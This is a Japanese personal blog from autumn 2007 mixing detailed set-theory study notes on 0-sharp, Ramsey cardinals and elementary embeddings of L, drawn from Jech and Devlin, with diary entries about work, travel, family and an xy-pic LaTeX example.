$\mathrm{Ult}_U(L)~|=~[f]~\in~j(\alpha)~\leftrightarrow~\{\xi~<~\gamma~\,:~\,~f(\xi)<\alpha\}~\in~U~\leftrightarrow~\bigcup_{\eta~<~\alpha}\{\xi<\gamma\,:\,~f(\xi)=\eta\}~\in~U$
従って $U$ が $\gamma$ -完備であったことを思い出すと $\eta<\alpha$ が存在し $\{\xi<\gamma\,:\,~f(\xi)=\eta\}~\in~U.$ よって $\alpha,~j(\alpha)$ ともに順序数であることにより $j(\alpha)=\{j(\eta)\,:\,~\eta<\alpha\}~=~\alpha$ がなりたつ。
次に $\gamma<j(\gamma)$ であることであるが、 $U$ が正規であることにより $\gamma=[\mathrm{id}]<j(\gamma)$ が成り立つ。
次に $\kappa$ を $\gamma<\mathrm{cf}(\kappa)$ を満たす極限基数とする。共終に関する条件により $f:\,\gamma~\rightarrow~\kappa$ の任意の値はある $\alpha~<~\kappa$ 未満である。今 $\beta~<~j(\kappa)$ を任意にとり $\beta=[f]$ と表現されるとする。このとき上の注意により $[f]~<~j(\alpha).$ 従って $j(\kappa)~=~\lim_{\alpha<\kappa}j(\alpha).$ 一方 $L|=\mathrm{GCH}$ により $|j(\alpha)|~\le~(|\alpha|^\gamma)^L~<~\kappa$ が成り立つ (二番目の不等号は $|\alpha|^{\gamma}~\leq~(2^{|\alpha|})^{\gamma}~\leq~2^{|\alpha|\gamma}$ であることと $|\alpha|\gamma~<~\kappa$ さらに $\kappa$ が極限基数であることによる)。従って $j(\kappa)=\kappa$ が成立する (証明終)。

一通り道具立てがそろいました。ここからが本当の証明部分です。
まずクラス $U_0$ を次のように定義します。
$U_0~=~\{~\kappa~\,:\,~\kappa\text{~is~a~limit~cardinal~and~}~~~~~~~~~~~~~~~~~~~~~~~~\gamma<\mathrm{cf}(\kappa)~\}$
ケーニヒの補題 ( $\kappa<\mathrm{cf}(2^\kappa)$ ) により $U_0$ が非有界であることはすぐに分かります。さらに $\gamma<\mathrm{cf}(\delta)$ を満たす順序数 $\delta$ に対する極限に対し $U_0$ は閉じています。言い換えると $(\kappa_\xi)_{\xi<\delta}$ を $U_0$ の増大列とするとき $\lim_{\xi~<~\delta}~\kappa_\xi~\in~U_0.$ この事実は一般に順序数の増大列 $(\alpha_\xi)_{\xi<\delta}$ に対し $\beta=\lim_{\xi<\delta}\alpha_{\xi}$ の場合 $\mathrm{cf}(\beta)=\mathrm{cf}(\delta)$ であることにより分かります。さらに $U_1$ を次のように定義します。
$U_1~=~\{~\kappa~\,:\,~\kappa~\in~U_0~\text{~and~}~|U_0~\cap~\kappa|=\kappa\}$
$U_0$ と同様に $U_1$ が $\gamma~<~\mathrm{cf}(\delta)$ である $\delta$ の上方向への極限に関して閉じていることは簡単に分かります。さらに $U_1$ も非有界です。実際 $\kappa_0~\in~U_0$ として $U_0$ の $\kappa_0$ より大きい $\kappa_0$ 個の要素の増大列の極限を $\kappa_1$ とします。このとき明らかに $\kappa_1~\in~U_0$ でありさらに $|U_0~\cap~\kappa_1|~\ge~\kappa_0$ が成立します。次に $U_0$ で $\kappa_1$ の上方に $\kappa_1$ 個の上昇列をとりその極限を $\kappa_2$ とします。すると同様に $\kappa_2~\in~U_0$ と $|U_0~\cap~\kappa_2|~\ge~\kappa_1$ が成立します。この操作を $\gamma<\mathrm{cf(\delta)}$ を満たす $\delta$ 回まで行うと (極限の場合は合併をとる) $\kappa_\delta$ を得ることができ $\kappa_\delta~\in~U_1$ を満たします。一般に $U_\alpha$ を次のように定義します。
$U_0~=~\{~\kappa~\,:\,~\kappa\text{~is~a~limit~cardinal~and~}~~~~~~~~~~~~~~~~~~~~~~~~\gamma<\mathrm{cf}(\kappa)~\}$
$U_{\alpha+1}=~\{~\kappa~\,:\,~\kappa~\in~U_\alpha~\text{~and~}~~|U_{\alpha}~\cap~\kappa|=\kappa\}$
$U_{\alpha}~=~\bigcap_{\xi<\alpha}U_{\xi}~\quad~(\mathrm{lim}(\alpha))$
このときすべての $\alpha$ に対し $U_\alpha$ は非有界でありさらに $\gamma~<~\mathrm{cf}(\kappa)$ である $\delta$ 個の極限に対し上方向に閉じています。自明でないのは $\mathrm{lim}(\alpha)$ の場合ですが、例えば $\alpha~=~\omega$ の場合 $\gamma<\mathrm{cf}(\delta)$ を満たす基数 $\delta$ に対し増大列 $\kappa_n^\xi~\in~U_n~\quad~(n~\in~\omega,\,\xi<\delta)$ (ただし $n$ を先に動かす) の極限を $\kappa$ とすれば $\kappa~\in~U_\omega.$ たぶん。えーと、一般の場合事前に $\alpha~<~\delta$ も満たすように $\delta$ を選んでおきます。
ここで $\kappa~\in~U_{\omega_1}$ を固定します。 $j_{U}~:~\,~L~\rightarrow~L$ の $L_\kappa$ の制限を $i:\,L_\kappa~\rightarrow~L_\kappa$ ( $j_U(\kappa)~=~\kappa$ であった) とすると容易に分かるように $i$ も初等的埋め込みとなります。 $\alpha~<~\omega_1$ に対し $X_\alpha~=~U_\alpha~\cap~\kappa$ とし $M_\alpha~=~H^{L_\kappa}(\gamma~\cup~X_\alpha)$ とします。 $M_\alpha~\prec~L_\kappa$ です。そして $M_\alpha$ の推移的崩壊は $|M_\alpha|=\kappa$ であることにより $L_\kappa$ となります。この崩壊関数を $\pi_\alpha:\,M_\alpha~\rightarrow~L_\kappa$ とします。そして $\pi_\alpha$ の逆関数を
$i_\alpha~:\,~L_\kappa~\rightarrow~M_\alpha~\prec~L_\kappa$
とすると、もちろん $i_\alpha$ は $L_\kappa$ から $L_\kappa$ への初等的埋め込みとなります。ここで結論を書いてしまうと $\{i_\alpha(\gamma)\,:\,~\alpha~<~\omega_1~\}$ が $L_\kappa$ の (非可算な) 識別不可能集合であることが証明でき、 $0^{\sharp}$ の存在が導かれるのですが、さすがに長くなってきたのでその証明は次回。
(参考文献)
Thomas J. Jech 著 Set Theory
Keith J. Devlin, Constructibility
(関連リンク)
くるるさんの記事「初等埋め込みと可測基数」 (2006年7月11日)
超積、超べきとLośの定理 (2006年9月10日)
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2007年10月6(土)

予定変更
ここ数日色々紆余曲折はあった (というか難しかった) のですが、やっと $0^{\sharp}$ が存在することと、初等的埋め込み $j:\,L~\rightarrow~L$ の存在の同値性についての証明を追いかけられたと思ったので、今日はその事実について書こうとかと思っていたのです。昨日の可換図式はほとんどそのまんまなのですが、その準備だったのでした。ところが例のごとく Jech 本を参考にして書き始めたら時間がかかることかかること。超べきの拡張についてのごくごく基本的なところまでで疲れてしまいました。
で、「巨大基数の集合論」によると、Jech 本や Devlin 本に書かれている証明は、オリジナルの証明より簡略化されているが、拡張性に乏しいとのこと。どうも「超べきの反復」の概念を使用し、その観点から調べた方が見通しがよいそうな。実際 Jech 本の証明を読むと、超べきの反復で重要な「モデルの順極限」を想起させる部分もあるのです。
個人的にはひとまず証明は追いかけたことですし、超べきの基本的な部分で忘れてしまっていたところの良い復習にもなりました。というわけで予定を変更してしばらくの間「超べきの反復」について勉強しようかなと思っています。それにしても、たいしてしていないとはいえ、勉強すればするほど分からないことが増えてくるのも困ったものではありますなあ (^^。
あっ、でも一気に書こうとするから大変なのであり、すこしずつ書いといてまとまったらアップするかも知れません。
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2007年10月5(金)

可換図式
これからの集合論雑記でたまに可換図式をつかうこともありそうなので練習。さすがに mimeTeX では無理そうなので、本物の LaTeX もしくは LaTeXit を使う必要があります。xy-pic というパッケージを使うと便利らしいです。パッケージの使い方についてはこちらを参考にさせて頂きました。私の使っている LaTeX の環境にはすでに上記パッケージが入っていましたが、必要があればパッケージをダウンロードしインストール。そしてプリアンブルに
```
\usepackage[all]{xy}
```
と記述します。そしていまいち詳細な意味は理解していないのですが、
\xymatrix@r@C=4mm{
V \ar[r]^{j} \ar[d]_{j_U} & M \\
\mathrm{Ult}_U(V) \ar[ru]_k &
}
という記述で下の可換図式が出力されます。

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2007年10月3(水)

理想の生活
今週は久々の会社なのですが、さすがに一週間休んだ後、一月つくば缶詰でほとんど姿を見せなかったこともあり、事務の女性に「あっ、かがみさんお久しぶり～」と言われてしまいました。
そもそも私は体を動かすのが嫌いで、出荷場での検証作業のお手伝いみたいなのは苦手。やはり仕事ではプログラムを作っているときが一番楽しいのです。そこで事務の女性に理想の生活のことを披露しました。
```
(a) はんてんを着て大きめのこたつ

(b) その上にお茶 (これが大切) とみかんとおせんべと PC
```
PC はともかく学生時代は本当にこういう生活だったのです。うーんいいなあ。もちろんこたつの上には数学書も必要なのですが、会社で話しても仕方がないので略。で、それを聞いた事務の女性いわく。
なんか東北の田舎みたい (笑)
やっぱりこういうのって福島出身で学生時代を仙台で過ごした感覚なのでしょうか。というか理想の生活への志が低すぎるのかな (^^。
というわけで怒濤のプログラム書きからつくば缶詰、やっとこ平常の仕事モードに戻ったのですが、まだ疲れが抜け切らない感じ。会社中歩き回ってばかな話をしまくり人様の邪魔をしているだけで、ちっとも仕事する気になりません。やる気なしモードに入るとほんと仕事量 0 になるのが欠点です。
前期で普通の一年分以上の仕事はしたと思うので、後期はご勘弁と言いたいところですが、いやはやまだまだすることは沢山あるようで。もちろん、なくなっちゃうよりは良いのですが、適度な量でお願いしたいところです。いずれにしても今週はだめそうなので、今日明日は適当にやり過ごし、金曜日お休みで四連休。来週から真面目モードに入ることにします。
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2007年10月1(月)

いろいろ
今日から十月です。気候の方もやっと過ごしやすくなってきました。
ところで今朝地震がありました。伊豆の方では大分揺れたようですが、藤沢では余り揺れませんでした。そうは言うものの、突然縦揺れがきたので一瞬大地震かとかなりあせったのです。威勢が良い状態が最初だけだったのは幸いでした。
それはそうと先月の日記を読み直すと、なかなか波乱の一ヶ月でした。そもそも納期の一週間前に仕事を仕上げて静岡に行ったのがすごい。普通はぎりぎりになって出来るかどうか微妙な場合が多いのですが、なんとか行きたいとペースアップしました。いや、ほんとは少しやり残しがあったのですが、まあこの位ならいいや、ということで。静岡の宿で仕上げたのは内緒です (笑)。
ほんと久々に数学の雰囲気を堪能できたのと、何より素晴らしい人達と会えたのがうれしい。
先月は雑用に追われて、プログラムは全く書いていないのですが、今月からまた忙しくなりそう。数学との両立を上手に行わなければ。ただし余りに数学のことを気にしすぎると、精神的にも体力的にまいってしまうので、「楽しい」と感じる状態を超えるようなら、数学の方は一休みすることになります。いや、きっと大丈夫。私はすぐに弱音を吐く割には、長期的にはしぶといのだ (笑)。
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2007年9月29(土)

モカちゃんピアノ発表会
今日はモカちゃんのピアノの発表会でした。ショパンの幻想即興曲。ちょっと苦しかったかな。ところでモカちゃんはドラムも習っているのですが、こちらはほんと上手。アンサンブルで一人目立っていました。親ばかの子供自慢でした。はい。
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2007年9月28(金)

Shoenfiled 本再び
一年ちょっと前にはやしさんに教えて頂き Shoenfield著 Mathematical Logic を購入しましたが、全然読まずに無駄な時間を過ごしてしまいました。ところがちょっと事情があり、論理学の基本的な部分を勉強する機会を頂いたのと、Fuさんの記事を読んでると計算理論関連の話題もなかなか面白そう。こちらも基本的な部分は知っておくと将来楽しめそう。
などなどいくつかの理由があり、一度真面目に読んでみようかと考えています。集合論の方は記述が割と代数的 (だと思う) である Jech 本が読みやすいのですが、なにせ持ち歩くには重過ぎ。そもそも五十肩になったのは Jech 本の影響もあるのではと疑っています。最近右肩も調子悪いし (涙)。というわけでしばらくは Shoenfiled 本を持ち歩こうかなと考えています。こんどは挫折しないように。集合論と両立できるのかが最大の難問です。
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2007年9月27(木)

つくば出張
昨日暫定的に書きましたが、今週もずっとつくば出張です。朝昼とごはんを食べるひまがなかったのですが、夜は「爆弾ハンバーグセット 270グラム」を食べました。お腹いっぱいです。とは言うものの、ホテル住まいですと、夜中急にお腹がすいた時なんにも食べものがなかったらどうしよう、という恐怖感が大きく、コンビニでそれなり買い込んでからホテルに入るのです。こういう生活が長く続くと肥満モード一直線です。気をつけなければ。
来週からは会社での正常な勤務にもどる予定。予定。はず (笑)。
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2007年9月26(水)

算数と順序数
どうでも良い話なのですが、小学校の算数で、「30円のりんごを 4つ買いました。いくらでしょうか。」という問題で 30x4 と式をたてると正解だが、4x30 とするとばつになる場合があるそうな。
自然数の乗法では可換法則が成立するので、とりたてて目くじらを立てるほどのものではないと思っていましたが、もしかして小学校の算数では、少なくとも乗法を考える場合、自然数を基数ではなく順序数と考えているのかも。
そう考えればばつになる理由も分からないでもないし、そもそも順序数のかけ算は存外分かりにくく、 $\alpha~\beta$ を考えるとき、確かに私は $\alpha$ が $\beta$ 個並んだ図を考える。
(おまけ) 記憶が定かではないのですが、たしか台形の面積を求めるときに ((上辺+下辺)x高さ÷2) ではなく (高さx(上辺+下辺)÷2) とかするとばつということもあったかも。もしそうだとするとこれはやりすぎだと思う。この場合には自然数の理論ではなく量、すなわち実数の理論を考えているわけであり、量と両立する自然な整列順序は存在しないから。
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2007年9月24(月)

0^# (zero-sharp) 五回目
集合論雑記目次
明日からまた忙しくなりそうなので、切りの良いところまで。
ここで整順な remarkable E.M.集合 $\Sigma$ 、すなわち $0^{\sharp}$ について整理します。まず整順性ですが、この条件がないと非可算極限順序数 $\alpha$ に対する $(\Sigma,\alpha)$ モデル (これは定義によりある $L_\gamma$ と初等的同値であった) の推移的崩壊を考えることができず、非常に不便な思いをすることになります。推移的崩壊を考えることができれば、圧縮レンマも適用可能でモデルを $L$ の階層で考えることが可能となります。
Remarkability ですが色々な非可算極限順序数 (特に非可算基数) $\lambda$ に対する $(\Sigma,\lambda)$ モデルの初等的部分モデルを考察する場合における「ある種の正則性」を保証します。即ち次の事実が成り立ちます。
(命題) $\lambda$ を非可算極限順序数とする。整順で remarkable な E.M.集合を $\Sigma$ として $(\mathcal{A},I)$ を $(\Sigma,~\lambda)$ モデルとする。そして $I=\{i_\xi\,:\,\xi<\lambda\}$ を $I$ の要素の昇順の列挙とする。極限順序数 $\gamma<\lambda$ に対し $J=\{i_\xi\,:\,\xi<\gamma\}$ とすると $(H^{\mathcal{A}}(J),~J)$ は $(\Sigma,\gamma)$ モデルとなり $\mathrm{Ord}(H^{\mathcal{A}}(J))=\{\alpha\,:\,\alpha<i_\gamma\}.$
本当は $\mathcal{A}=(A,E),~\lambda\subset{A}$ 等きちんと構造も明記する必要があるのですが、その辺りは文脈依存ということで。
(証明)
今までの記述と重複がありますが復習を兼ねて。まずスコーレム閉包の性質により $H^{\mathcal{A}}(J)~\prec~\mathcal{A}$ が成立する。従って $H^{\mathcal{A}}(J)$ はある $\alpha$ に対する $L_\alpha$ と初等的同値で、さらに $J$ は $H^{\mathcal{A}}(J)$ での識別不可能集合となるとともに $\Sigma=\Sigma(H^{\mathcal{A}}(J),~J)$ であることも分かる。従って $(H^{\mathcal{A}}(J),~J)$ は $(\Sigma,\gamma)$ モデルである。
Remarkability が効くのは $\mathrm{Ord}(H^{\mathcal{A}}(J))$ が $\mathrm{Ord}(\mathcal{A})$ の始片として得られる部分。実際 remarkability により $\alpha<i_\gamma$ は $J$ の要素のスコーレム項で表すことができる (証明終)。
E.M.集合 $\Sigma$ の remarkability は、極限順序数 $\lambda$ に対する $(\Sigma,~\lambda)$ モデル $(\mathcal{A},I)$ において $I$ が $\mathcal{A}$ 閉非有界であることを導きます。実際非有界は定義そのものであり、閉じていることは任意の極限順序数 $\gamma<\lambda$ に対し $i_\gamma~=~\sup~\{i_\xi\,:\,~\xi<\gamma\}$ を示せば良いのですが、これは容易に分かります。
$\Sigma$ を整順で remarkable な E.M.集合とするとき非可算基数 $\lambda$ に対して推移的な $(\Sigma,~\lambda)$ モデルは一意に定まります。
(定理 1) $\Sigma$ を整順で remarkable な E.M.集合とする。 $\lambda$ を非可算基数とするとき推移的な $(\Sigma,\lambda)$ モデルは $(L_\lambda,~I)$ (うるさく言えば $((L_\lambda,\in),~I)$ ) である。さらに $I$ も一意に定まる。
(証明)
推移的な $(\Sigma,\lambda)$ モデルが非可算極限順序数 $\gamma$ に対する $(L_\gamma,I),~|I|=\lambda$ の形をしていることは明らかである。 $\gamma~=~\lambda$ であることを証明する。 $\lambda~\le~\gamma$ であることは明白なので $\lambda~<~\gamma$ を仮定して矛盾を導く。 $I$ は $\gamma$ で非有界なので $\beta<\lambda<i_\beta$ を満たす極限順序数 $\beta$ が存在する。するといつものように $J=\{i_\xi\,:\,~\xi<\beta\}$ とすると $(H^{L_\gamma}(J),~J)$ は $(\Sigma,~\beta)$ モデルとなり remarkability により $\lambda~\subset~H^{L_\gamma}(J)$ である。従って $\lambda~\le~|\beta|$ となるがこれは矛盾である。 $I$ の一意性についてであるが $(L_\lambda,K)$ が $(\Sigma,\lambda)$ モデルであるとすると、 $I$ から $K$ への順序同型が存在し $L_\lambda$ の同型に拡張されるが、この拡張が恒等写像になることにより導かれる (証明終)。
(定義) $\Sigma$ を整順で remarkable な E.M.集合とする。 $\lambda$ を非可算基数とするとき、一意に定まる推移的な $(\Sigma,\lambda)$ モデルを $(L_\lambda,~I_\lambda)$ と書く。
(定理 2) $\kappa~<~\lambda$ を非可算基数とするとき次が成立する。
(1.1) $I_\kappa~=~I_\lambda~\cap~\kappa$
(1.2) $L_\kappa~=~H^{L_\lambda}(I_\kappa)$
(証明)
$J=\{i_\xi\,:\,\xi<\kappa\}$ とすると $(H^{L_\lambda}(J),J)$ は $(\Sigma,\kappa)$ モデルとなる。従って $(L_\kappa,I_\kappa)$ と同型である。ところが remarkability により $H^{L_\lambda}(J)$ の順序数全体は $\lambda$ の始片となるので $J=I_\kappa$ が成立し $H^{L_\lambda}(J)$ は推移的で $L_\kappa$ に等しくさらに $I_\kappa~=~I_\lambda~\cap~\kappa$ が成り立つ (証明終)。
整順で remarkable な E.M.集合 (すなわち $0^{\sharp}$ ) の非可算基数に対する推移的なモデルに対する美しい階層構造が得られました。
「0^# (zero-sharp) 一回目」に記載した Silver indiscernible との関連について述べることが可能となりました。
(定理 3) $0^{\sharp}$ が存在することは次の条件と同値である。
( $V$ での) 非可算基数 $\kappa~<~\lambda$ に対して
$(1a)\,(L_\kappa,\in)~\prec~(L_\lambda,~\in)$
$(1b)$ すべての ( $V$ での) 非可算基数を含む Ord の閉非有界なクラス $I$ がただ一つ存在し、非可算基数 $\kappa$ に対し次の条件を満たす。
$(1b.1)~\,~|I\cap~\kappa|~=~\kappa$
$(1b.2)~\,~I\cap\kappa$ は $(L\kappa,~\in)$ での識別不可能集合
$(1b.3)\,~L_\kappa$ の任意の要素は $L_\kappa$ 上 $I\cap\kappa$ ~~で定義可能~~の要素で定義可能。

(証明)
0^# (zero-sharp) 四回目の証明により、ある非可算基数 $\lambda$ に対する $L_\lambda$ に非可算個の要素を含む識別不可能集合が存在すれば $0^{\sharp}$ が存在することは分かっているので、(1b) から $0^{\sharp}$ の存在が導かれます。逆に $0^{\sharp}$ が存在する場合 (定理 2) の証明により (1.a) は明らかです。さらに $I=\bigcup~\{I_\lambda\,:\,~\lambda~\text{~is~an~uncountable~cardinal}\}$ とすれば (1.b1) (1.b2) も明らかに成り立ちます。また (1b.3) はスコーレム項が $L$ の整列順序により定義可能であることにより成立します。自明でない部分は $I$ が任意の非可算基数を要素とすることですが、 $\kappa<\lambda$ を非可算基数としたとき $I_\kappa~=~I_\lambda~\cap~\kappa$ であり $I_\lambda$ が $L_\lambda$ で閉じていることと $I_\kappa$ が $\kappa$ で非有界であることにより $\kappa~\in~I_\lambda.$ (証明終)
(系) $0^{\sharp}$ は一意に定まる。
(証明) 実際 $0^{\sharp}~=~\{\varphi(v_1,\cdots,v_m)\,:\,~L_{\aleph_\omega}|=~\varphi(\aleph_1,\cdots,\aleph_m)\}.$
「0^# (zero-sharp) 一回目」で $\aleph_1$ に関して述べたように $0^{\sharp}$ が存在すれば任意の (本当の) 非可算基数は $L$ で到達不可能であることも分かります。特に $0^{\sharp}$ が存在すれば $V~\neq~L$ です。
書いているときは見てないとはいえJech本のほとんど丸写しで申しわけなかったのですが、 $0^{\sharp}$ のごくごく基本的な部分までたどりつけたかも知れません。分かりにくいところに少し説明を捕捉した部分もあるのでご容赦の程を。次回以降はもう少し $0^{\sharp}$ に関する基本的事項をまとめたいのと、 Kunen による $0^{\sharp}$ が存在することと初等的埋め込み $j:L~\rightarrow~L$ の存在の同値性について言及したいのですが、少々時間がかかるかも知れません。
(参考文献)
Thomas J. Jech 著 Set Theory
Keith J. Devlin, Constructibility
(関連リンク)
0^# (zero-sharp) 一回目
 0^# (zero-sharp) 二回目
 0^# (zero-sharp) 三回目
 0^# (zero-sharp) 四回目
 0^# (zero-sharp) 六回目 Kunenの定理 (準備編)
0^# (zero-sharp) 七回目 Kunenの定理 (証明編)
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2007年9月23(日)

0^# (zero-sharp) 四回目
集合論雑記目次
本日はラムゼイ基数の存在が $0^{\sharp}$ の存在を導くことの証明です。
(定義) 非可算基数 $\kappa$ がラムゼイ基数であるとは次の条件を満たすこと。
$k~\rightarrow~(k)^{<\omega}_{2}$
ここで一般に $\kappa~\rightarrow~(\mu)^{<\omega}_{\lambda}$ とは次を満たすことをです。
任意の関数 $f:\,[k]^{<\omega}~\rightarrow~\lambda$ に対し $H\subset~{\kappa},~\,~|H|~=~\mu$ であるものが存在し、おのおの $n\in~\omega$ に対し $|f([H]^n)|=1.$ $f([H]^n)$ が $n$ ごとに変化するのは許します。
明らかにラムゼイ基数は弱コンパクト基数です。従ってラムゼイ基数は到達不可能です。また可測基数の下に弱コンパクト基数が「その可測基数個」存在することの証明と同様の論法 (もしくは可測基数が $\mathrm{\Pi}^{1}_{2}$ 記述不可能であることと、実際ラムゼイ基数の定義が $\mathrm{\Pi}^{1}_{2}$ であることからも導かれます) により、可測基数の下に「その可測基数個」のラムゼイ基数が存在することが分かります。
(命題) $\kappa$ をラムゼイ基数とし $\lambda~<~\kappa$ とする。このとき $\kappa~\rightarrow~(\kappa)^{<\omega}_{\lambda}$ が成り立つ。
(証明)
$f:[\kappa]^{<\omega}~\rightarrow~\lambda$ とする。 $g:[\kappa]^{<\omega}~\rightarrow~2$ を次のように定義する。
$\alpha_1<\cdots<\alpha_m<\alpha_{m+1}<\cdots<\alpha_{2m}$ を $\kappa$ の要素とし $f(\alpha_1,\cdots,\alpha_m)~=~f(\alpha_{m+1},\cdots,\alpha_{2m})$ のとき $g(\alpha_1,\cdots,\alpha_m,\alpha_{m+1},\cdots,\alpha_{2m})=1.$ その他の場合 $g$ は $0.$
$g$ に対する等質な集合 $H\subset{\kappa},~|H|=\kappa$ をとる。 $f$ は高々 $\lambda<\kappa$ 個の異なる値しかとれないので $n$ が偶数の時 $g$ は $[H]^n$ 上つねに $1$ である。 $H$ が $f$ に対しても等質となることは容易に分かる (証明終)。
(命題) $\kappa$ をラムゼイ基数とする。 $\mathcal{L}$ を可算言語とし、 $\mathcal{A}=(A,...)$ を $\kappa~\subset~A$ である構造とする。このとき $I\subset{\kappa},~\,~|I|=\kappa$ を満たす $\mathcal{A}$ での識別不可能集合が存在する。
(証明)
上の命題により $\kappa~\rightarrow~(\kappa)^{<\omega}_{2^\omega}$ が成立する。 $[\kappa]^{<\omega}$ からの関数 $f$ を次のように定義する。
$f(\alpha_1,\cdots,\alpha_n)~=~\{\varphi(v_1,\cdots,v_n)\in\mathcal{L}~\,:~\,~\mathcal{A}|=~\varphi(\alpha_1,\cdots,\alpha_n)\}$
$\mathcal{L}$ は可算言語だったので $f$ の値域は $2^\omega$ の部分集合と同一視できる。 $f$ に関する等質集合 $I\subset{\kappa}$ で $|I|=\kappa$ を満たすものが求める識別不可能集合となる (証明終)。
(系) $\kappa$ をラムゼイ基数とするとき、 $(L_\kappa,\in)$ での識別不可能集合 $I\subset~\kappa$ で $I=|\kappa|$ を満たすものが存在する。
(定理) ラムゼイ基数が存在すれば (もっと弱い条件で $\kappa~\rightarrow~(\omega_1)^{<\omega}_{2}$ を満たす基数 $\kappa$ が存在すれば) $0^{\sharp}$ が存在する。
上の (系)での記号で $\Sigma=\Sigma(L_\kappa,I)$ とすると、E.M.集合 $\Sigma$ は整順性と非有界性らしきものを満たします。しかしながら remarkablity を満たすとは限らないし、そもそも $H^{L_\kappa}(I)=L_\kappa$ が成立するかどうかも分からないので $(L_\kappa,I)$ が $(\Sigma,\kappa)$ モデルになっているかどうかさえ分かりません。なので Jech 本そのままなのですが、次の補題を経由します。
(補題) $\kappa$ を非可算基数として、極限順序数 $\lambda~\ge~\kappa$ と構造 $(L_\lambda,~\in)$ に関する順序型 $\kappa$ の識別不可能集合 $J\subset~{\lambda}$ が存在したと仮定する。このとき極限順序数 $\gamma$ と順序型が $\kappa$ である $(L_\gamma,\in)$ での識別不可能集合 $I\subset~{\gamma}$ が存在する。 $I$ は $H^{L_\gamma}(I)=L_\gamma$ を満たし、さらに $\Sigma=\Sigma(L_\gamma,I)$ は remarkable である。従って $0^{\sharp}$ が存在する。
補題の結果とラムゼイ基数に関する上の命題群の証明を吟味すると、 $0^{\sharp}$ の存在のためには $\kappa~\rightarrow~(\omega_1)^{<\omega}_{2}$ が成り立てば十分であることが分かります。この補題の証明はややテクニカルです。
(補題の証明 Jech. Set theory. 320ページより. 間違いは私の責任ということで)
極限順序数 $\lambda$ として「構造 $(L_\lambda,\in)$ に関する順序型が $\kappa$ である識別不可能集合が存在する」もので最小のものとする。 $J~\subset~\lambda$ を順序型が $\kappa$ である識別不可能集合とする。ここでいつもの通り $\mathcal{A}=~(H^{L_\lambda}(J),~\in)$ とすると $\mathcal{A}~\prec~(L_\lambda,\in)$ である。従って $\mathcal{A}$ の推移的崩壊を考えることができ、ゲーデルの圧縮レンマにより $\pi:\,~H^{L_\lambda}(J)~\rightarrow~L_\gamma$ の形に書ける。ここで $\gamma\le\lambda$ は極限順序数である。 $I=\pi(J)$ とすると明らかに $I$ の順序型は $\kappa$ でありさらに $H^{L_\gamma}(I)=L_\gamma$ が成立し、また $\lambda$ の最小性により $\gamma=\lambda$ が成り立つ。 $\Sigma=\Sigma(L_\lambda,I)$ が求める remarkable な E.M. 集合であることを示す。
(非有界であること) $I$ が $\lambda$ で有界であったと仮定する。すると極限順序数 $\alpha<\lambda$ で $I\subset\alpha$ であるものが存在する。スコーレム項 $t$ と $I$ の要素の上昇列 $\beta_1<\cdots<\beta_m$ により $\alpha~=~t^{L_\lambda}(\beta_1,\cdots,\beta_m)$ と表し $K=\{\xi\in~I~\,:\.~\beta_m<\xi~\}$ とする。このとき $K$ の順序型が $\kappa$ であることは明らかである。もし $K$ が $(L_\alpha,\in)$ に関する記述不可能集合であれば $\lambda$ の最小性に反することになる。今 $\varphi(v_1,\cdots,v_n)$ を集合論の言語に属する論理式として、 $k_1<\cdots<k_n$ を $K$ の要素の増大列とする。すると充足関係が極限順序数 $L_\alpha$ に関して一様に $\Delta_1$ 定義可能であることにより
$(L_\alpha~|=~\varphi(k_1,\cdots,k_n))~\leftrightarrow~(L_\lambda~|=~(L_\alpha~|=~\varphi(k_1,\cdots,k_n)))$
が成り立つ。従って $\alpha~=~t^{L_\lambda}(\beta_1,\cdots,\beta_m)$ であったことを思い出すと、論理式 $\psi(v_1,\cdots,v_m,v_{m+1},\cdots,v_{m+n})$ が存在し
$(L_\alpha~|=~\varphi(k_1,\cdots,k_n))~\leftrightarrow~(L_\lambda~|=~\psi(\beta_1,\cdots,\beta_m,k_1,\cdots,k_n))$
が成立する。 $I$ は $(L_\lambda,\in)$ に関する識別不可能集合であったので、この事実は $L_\alpha$ での $\varphi(v_1,\cdots,v_n)$ の真偽が $K$ の昇順要素の代入により変化しないことを意味する。従って $K$ は $(L_\alpha,\in)$ に関する識別不可能集合である。
(Remarkability) $(L_\lambda,\in)$ に関する識別不可能集合 $I$ を $\Sigma=\Sigma(L_\lambda,I)$ を満たし順序型が $\kappa$ 、 $H^{L_\lambda}(I)=L_{\lambda}$ でありさらに非有界なもので $i_\omega$ が最小となるものとする。今までの議論によりこれらの条件を満たす $I$ は存在する。 $\Sigma=\Sigma(L_\lambda,~I)$ が remarkable でないと仮定する。するとスコーレム項 $t$ と $I$ の要素の増大列 $\alpha_1<\cdots<\alpha_m<\beta_1<\cdots<\beta_n<\gamma_1<\cdots<\gamma_n$ が存在し次の条件を満たす。
(1.1) $t^{L_\lambda}(\alpha_1,\cdots,\alpha_m,\beta_1,\cdots,\beta_n)$ は順序数
(1.2) $t^{L_\lambda}(\alpha_1,\cdots,\alpha_m,\beta_1,\cdots,\beta_n)<\beta_1$
(1.3) $t^{L_\lambda}(\alpha_1,\cdots,\alpha_m,\beta_1,\cdots,\beta_n)~\neq~t^{L_\lambda}(\alpha_1,\cdots,\alpha_m,\gamma_1,\cdots,\gamma_n)$
ここで $I$ の要素からなる $n$ 元集合の列 $(u_\xi)_{\xi<\kappa}$ を次のように定義する。
(2.1) $\alpha_m~=~i_{\xi}$ のとき $u_0~=~\{i_{\xi+1},\cdots,i_{\xi+n}\}.$ 即ち $I$ で $\alpha_m$ の次の $n$ 個の要素からなる集合
(2.2) $u_{\xi+1}$ は $I$ で $u_{\xi}$ の最大要素の次の $n$ 個からなる集合
(2.3) $\xi$ が極限順序数のとき $u_\xi$ は $I~-~\bigcup_{\eta<\xi}~u_\eta$ の最小元から順番に $n$ 個とったもの。ただし $u_0$ の最小要素より小さいものは除く
